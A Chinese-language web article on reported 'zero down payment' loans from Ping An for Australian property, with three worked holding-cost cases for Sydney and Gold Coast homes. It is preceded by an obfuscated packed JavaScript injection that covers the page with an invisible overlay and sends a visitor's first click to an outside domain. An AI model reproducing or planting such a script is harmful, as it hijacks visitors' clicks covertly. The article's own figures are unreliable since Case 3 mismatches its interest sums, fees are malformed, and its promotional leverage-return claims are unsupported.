<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>最近Financial Review 上一条爆炸性的新闻,中国平安助中国买家实现澳洲投资买房“零”首付吸引了大量地产业内人士以及广大地产投资者的关注。大量的地产中介在大力鼓吹所谓的“零”首付会继续推动澳洲房产快速上升，鼓励投资人尽快入市。澳洲本土银行则开始更加深入的审视海外人士购房未来给银行自身带来的风险。国家的领导层则更加的担心本土地产市场是否会因此而出现“泡沫”。首先这条新闻无论真假都显现出来一些深层次“含义”：
1：国内的金融市场风险加大类似于中国平安这类的金融巨头公司已经开始放眼海外来寻求自身的风险控制。国内的金融市场到底风险有多大？我个人无法给出准确的评估。但是作为一名澳洲资深地产人士，我可以知晓的是“零”首付对于Lender来说风险非常之大。所以收取买家14%的利息也算合理。
2：澳洲资产的稳定性吸引了大量海外投资以及避险的资金。澳洲资产中，房产无疑是其中回报最稳定的投资产品。除了永久的产权，稳定的增值以外由于空祖率极低还有稳定可观的租金回报。回忆起2008年金融危机席卷整个欧洲，德国，英国，西班牙等国纷纷对外宣布以国家行为增持澳洲资产以规避风险。未来如果中国经济进入衰退期，是不是会有更多类似中国平安这样的巨头公司，甚至央企会开始大量战略性配置澳洲资产呢？
其次平安的“零”首付会给国内投资人带来什么样的机遇以及风险？
案例一：在悉尼购买一套90万两房公寓
首付30%$27万 （向平安银行借贷）利率14% ---- 年息：$270,000 x 14% = $37,800
借贷 70%$63 万 ---- （向澳洲银行借贷）利率4.6%-----年息：$630,000 x 4.6% = $28,980年持有费用总年息：$37,800 + $ 28,980 = $ 66,780
市政费： $ 12,00水费： $ 800物业费： $ 5,000出租管理费： $ 2,150总支出： $ 75,930总收入 ：（$750p/wx 52 weeks）$ 39,000年投入 $ 36,930
分析
由此案例我们可以看出如果客户购买的物业租金回报较低，持有费用（物业费）较高的情况下，“零”首付对于海外买家来说每年$36,930 的现金投入实际的压力以及风险还是比较大的。案例二：在黄金海岸购买一栋50万别墅
首付30%$15万 ---- （向平安银行借贷）利率14% ---- 年息：$150,000 x 14% = $21,000
借贷 70%$35 万 ---- （向澳洲银行借贷）
利率4.6%-----年息：$350,000 x 4.6% = $16,100年持有费用总年息：$21,000 + $ 16,100 = $ 37,100市政费： $ 14,00水费： $ 800物业费： $ 0出租管理费： $ 1,716总支出： $ 41,016总收入 ：（$500p/w x 52 weeks）$ 26,000年投入 $ 15,016分析
案例二说明即便是黄金海岸这类租金回报超过5%且无物业管理费的中低价位别墅，作为海外买家也需花费每年一万五千澳币左右去持有一个别墅物业。案例三：在黄金海岸购买一栋50万别墅
首付20% （$10万自己付）$5万（向平安银行借贷）利率14% ----年息：$50,000 x 14% = $7,000首付（自付20%）+ 10%（$5万向平安银行借贷）= 30%的全部首付
借贷 70%$35 万 ---- （向澳洲银行借贷）利率4.6%-----年息：$350,000 x 4.6% = $16,100年持有费用总年息：$21,000 + $ 16,100 = $ 23,100市政费： $ 14,00水费： $ 800物业费： $ 0出租管理费： $ 1,716总支出： $ 27,016总收入 ：（$500p/wx 52 weeks）$ 26,000年投入 $ 1,016
分析
从案例三我们可以看出，如果你投资的海外物业是像黄金海岸别墅这种具有高租金回报（同时意味着低空租率）且无导致高昂持有费用的昂贵物业管理费的投资物业。投资人可以从中国平安获取额外的10%的杠杆且可以做到毫无压力。如果不考虑黄金海岸2018英联邦运动会的大题材，以及Coomera地区将兴建全黄金海岸最大WESTFIELD等可导致房价飙涨的因素，房价仅仅是每年稳定增长10%计算。多10%的杠杆对于投资人来说意味着每年投资回报率增长17%。每年多17%的回报率意味着4年左右你的投资回报率将比30%首付高出整整一倍！总监结语从上述三个案例可以清楚的看出一个简单的道理：如果你是一名精明的投资者，充分利用银行的杠杆无疑是最聪明的选择。但是在充分利用银行杠杆的同时，只有优质的投资产品才能使你的风险得到有效的控制。所以在你利用杠杆来撬动澳洲地产财富的同时，选准入市的时机，选对投资的产品才是最终的王道。
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